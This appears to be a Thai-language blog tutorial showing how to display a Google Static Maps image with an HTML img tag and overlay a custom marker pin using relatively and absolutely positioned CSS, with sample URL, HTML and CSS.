ทำได้ง่ายมากๆครับ คือใช้ html img tag สำหรับแสดงรูปภาพตรงๆเลย แ่ต่ว่า source ของรูปให้ระบุเป็น maps.google.com พร้อมด้วย parameter ตัวอย่างเป็นแบบนี้ครับ

http://maps.google.com/staticmap?center=13.6225480441,100.5334854126&zoom=14&size=300x300&maptype=roadmap&markers=13.6225480441,100.5334854126&key=YOUR_API_KEY

จาก code ข้างบนเป็นการขอรูปแผนที่จาก Google Static Maps โดยมี parameter ต่อไปนี้

• ให้มีจุดกึ่งกลางที่(Center) lattitude = 13.6225480441 และ longtitude = 100.5334854126
• ระดับการซูม (Zoomlevel) = 14
• ขนาดรูป (กว้างxยาว) = 300×200 pixel
• ประเภทแผนที่เป็นแบบถนน
• ให้มีหมุดวางอยู่ตรงตำแหน่ง lattitude = 13.6225480441 และ longtitude = 100.5334854126
• และสุดท้ายต้องใส่ Maps API Key ด้วยครับ (ดูวิธีการขอได้จาก ตอนก่อนหน้า นะครับ)

ใครสนใจความหมาย และ parameter ทั้งหมดที่มีดูได้จาก Google Static Maps API เราจะได้รูปแบบนี้ออกมาครับ

2. การจะเปลี่ยนหมุดจากแบบมาตราฐานเป็นรูปภาพที่เราต้องการ

ทำได้โดยการใช้เทคนิคเกี่ยวกับ CSS นิดหน่อยครับ หลักการก็คือ การแสดงรูปภาพสองรูปซ้อนกัน โดยเอารูปหมุดที่ต้องการวางทับบน static map โดยแสดง static map ให้ตรงกลางเป็นตัวแหน่งของสถานที่ ที่เราจะแสดงหมุด จากนั้นก็ให้ CSS กำหนดตำแหน่งรูปภาพหมุดให้อยู่กึ่งกลางครับ

วิธีการค่า left และ top เพื่อวางหมุดตรงกึ่งกลางแผนที่

html ที่ใช้เป็นแบบนี้ครับ อันนี้ไม่มีอะไรพิเศษ (เอา parameter เกี่ยวกับ markers ออกด้วย เวลาเรียก static map จะได้ไม่มีรูปหมุดซ้ำกับที่เรากำลังจะแสดง)

<div id="map_div">
<img style="border: 1px solid #c0c0c0; display: inline; width: 300px; height: 320px;" src="http://maps.google.com/staticmap?center=13.6225480441,100.5334854126&amp;zoom=14&amp;size=300x300&amp;maptype=roadmap&amp;key=ABQIAAAAeNsNnRXUdrpgSw3qfvhz5hRHchrjOSPM-moa2HMmJZw-0fE6VhTsARfVd9x1Dg8TowZALqHIOcO20g" alt="" width="300" height="320" />
<img class="marker" src="pin_blue.png"/>
</div>

ส่วน CSS เป็นแบบนี้ครับ

#map_div {
height:320px;
position:relative;
}
#map_div img.marker {
position:absolute;
height:37px;
width:25px;
left:142px;
top:125px;
}

property position ของ div ที่ใส่รูปทั้งสองต้องเป็น relative และ position ของรูปหมุดต้องเป็น absolute นะครับ

ใน IE6 จะมีปัญหากับ transparent png ทำให้รูปหมุดแสดงพื้นหลังเป็นแถบๆ เลือกวีธีแก้ในตามชอบใจเลยครับ